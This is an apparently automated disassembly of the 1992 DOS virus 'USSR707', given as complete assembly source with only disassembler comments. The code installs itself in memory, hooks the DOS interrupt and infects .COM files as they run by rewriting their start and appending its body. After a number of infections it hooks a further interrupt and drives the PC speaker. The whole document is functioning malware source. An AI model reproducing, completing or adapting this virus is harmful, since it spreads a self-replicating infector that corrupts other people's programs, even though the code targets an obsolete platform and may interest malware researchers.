PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ USSR707 ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 9-Feb-92 ÛÛ ;ÛÛ Passes: 5 Analysis Options on: AW ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 20h data_2e equ 22h data_3e equ 4Ch data_4e equ 4Eh data_5e equ 84h data_6e equ 86h data_7e equ 413h data_8e equ 1460h data_9e equ 3 data_10e equ 2 seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h ussr707 proc far start: mov ax,offset loc_2 push ax retn loc_2: jmp short loc_3 nop ussr707 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near call sub_3 ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_3: pop di sub di,6 retn sub_2 endp db 60h, 14h, 2Bh, 02h, 2Eh, 3Ah db 26h,0FFh, 0Dh, 00h,0A0h, 00h db 50h,0C3h, 01h, 2Eh,0A3h,0C0h db 00h, 9Ch, 00h, 00h, 90h, 90h db 90h,0CDh db 20h loc_3: call sub_2 mov ah,[di+21h] mov byte ptr ds:[100h],ah mov ax,[di+22h] mov word ptr ds:[101h],ax mov ax,[di+24h] mov word ptr ds:[103h],ax mov ah,30h ; '0' int 21h ; DOS Services ah=function 30h ; get DOS version number ax cmp ax,1E03h je loc_4 ; Jump if equal jmp loc_9 loc_4: mov bl,0 mov ax,4BFFh int 21h ; ??INT Non-standard interrupt cmp bl,0FFh jne loc_5 ; Jump if not equal jmp loc_9 loc_5: mov ax,ds:data_10e mov [di+14h],ax mov bx,di add bx,0Fh xor ax,ax ; Zero register mov es,ax loc_6: xor si,si ; Zero register mov ax,es inc ax cmp ax,0FFFh jbe loc_7 ; Jump if below or = jmp short loc_9 nop loc_7: mov es,ax loc_8: mov ah,es:data_8e[si] cmp ah,[bx+si] jne loc_6 ; Jump if not equal inc si cmp si,5 jne loc_8 ; Jump if not equal mov [di+0Dh],es mov word ptr [di+1Fh],0 mov ax,cs dec ax mov es,ax call sub_7 sub si,di mov ax,si mov cl,4 shr ax,cl ; Shift w/zeros fill inc ax sub es:data_9e,ax sub ds:data_10e,ax mov bx,[di+14h] sub bx,ax mov es,bx push di call sub_4 xor cx,cx ; Zero register mov ds,cx mov cl,6 shr ax,cl ; Shift w/zeros fill inc ax sub ds:data_7e,ax mov ax,ds:data_5e mov cs:[bx+0Bh],ax mov ax,ds:data_6e mov cs:[bx+0Dh],ax push cs pop ds mov cx,si mov si,di xor di,di ; Zero register rep movsb ; Rep when cx >0 Mov [si] to es:[di] pop di sub bx,di add bx,2 xor ax,ax ; Zero register mov ds,ax cli ; Disable interrupts mov ds:data_5e,bx mov ds:data_6e,es sti ; Enable interrupts loc_9: push cs pop ds push cs pop es mov ax,offset start push ax retn ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_4 proc near call sub_5 ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_5: pop bx retn sub_4 endp push bx mov bh,4Bh ; 'K' cmp bh,ah je loc_11 ; Jump if equal pop bx loc_10: ;* jmp far ptr loc_1 db 0EAh, 93h, 17h, 26h, 0Dh loc_11: cmp al,0FFh jne loc_12 ; Jump if not equal pop bx mov bl,0FFh iret ; Interrupt return pushf ; Push flags ;* call far ptr sub_1 db 9Ah, 00h, 00h, 00h, 00h push ax in al,61h ; port 61h, 8255 port B, read xor al,3 out 61h,al ; port 61h, 8255 B - spkr, etc mov al,0B6h out 43h,al ; port 43h, 8253 wrt timr mode mov ax,bx out 42h,al ; port 42h, 8253 timer 2 spkr mov al,ah out 42h,al ; port 42h, 8253 timer 2 spkr pop ax iret ; Interrupt return loc_12: push ax push cx push dx push di push ds push es mov bx,dx xor di,di ; Zero register loc_13: inc di cmp byte ptr [bx+di],0 jne loc_13 ; Jump if not equal cmp word ptr [bx+di-2],4D4Fh je loc_14 ; Jump if equal jmp loc_26 loc_14: cmp byte ptr [bx+di-3],43h ; 'C' je loc_15 ; Jump if equal jmp loc_26 loc_15: call sub_2 mov bx,di add bx,1Ah mov ax,70h mov es,ax xor di,di ; Zero register loc_16: inc di cmp di,0FFFFh jbe loc_17 ; Jump if below or = jmp loc_26 loc_17: xor si,si ; Zero register loc_18: mov ah,es:[di] cmp ah,cs:[bx+si] jne loc_16 ; Jump if not equal inc si inc di cmp si,5 jne loc_18 ; Jump if not equal sub di,5 xor ax,ax ; Zero register mov es,ax push word ptr es:data_3e push word ptr es:data_4e cli ; Disable interrupts mov es:data_3e,di mov word ptr es:data_4e,70h sti ; Enable interrupts call sub_2 mov bx,dx xor cx,cx ; Zero register mov ah,4Eh ; 'N' call sub_6 jnc loc_19 ; Jump if carry=0 jmp loc_25 loc_19: mov ah,2Fh ; '/' call sub_6 mov ax,es:[bx+1Ah] cmp ax,0F000h jbe loc_20 ; Jump if below or = jmp loc_25 loc_20: push ds push dx push word ptr es:[bx+15h] push word ptr es:[bx+16h] push word ptr es:[bx+18h] add ax,100h mov cs:[di+18h],ax mov ax,4301h mov cx,20h call sub_6 mov ax,3D02h call sub_6 jnc loc_21 ; Jump if carry=0 jmp short loc_24 nop loc_21: push cs pop ds mov bx,ax mov ah,3Fh ; '?' mov cx,5 mov dx,di add dx,21h call sub_6 mov ax,[di+18h] sub ax,[di+22h] cmp ax,2C3h jne loc_23 ; Jump if not equal cmp byte ptr [di+20h],1Eh jae loc_22 ; Jump if above or = inc byte ptr [di+20h] loc_22: jmp short loc_24 nop loc_23: mov byte ptr [di+17h],0B8h mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_6 mov ah,40h ; '@' mov cx,3 mov dx,di add dx,17h call sub_6 mov ah,40h ; '@' mov cx,2 mov word ptr [di+17h],0C350h call sub_6 mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_6 mov ah,40h ; '@' call sub_7 mov cx,si sub cx,di mov dx,di call sub_6 loc_24: mov ax,5701h pop dx pop cx call sub_6 mov ax,4301h pop cx mov ch,0 pop dx pop ds call sub_6 mov ah,3Eh ; '>' call sub_6 loc_25: xor ax,ax ; Zero register mov es,ax cli ; Disable interrupts pop word ptr es:data_4e pop word ptr es:data_3e sti ; Enable interrupts loc_26: call sub_2 cmp byte ptr cs:[di+1Fh],0 jne loc_27 ; Jump if not equal cmp byte ptr cs:[di+20h],1Eh jb loc_27 ; Jump if below mov byte ptr cs:[di+1Fh],1 xor ax,ax ; Zero register mov es,ax call sub_4 add bx,17h mov ax,es:data_1e mov cx,es:data_2e mov cs:[bx+2],ax mov cs:[bx+4],cx cli ; Disable interrupts mov es:data_1e,bx mov es:data_2e,cs sti ; Enable interrupts loc_27: pop es pop ds pop di pop dx pop cx pop ax pop bx jmp loc_10 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near pushf ; Push flags call dword ptr cs:[di+0Bh] retn sub_6 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near call sub_8 ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_8: pop si add si,5 retn sub_7 endp seg_a ends end start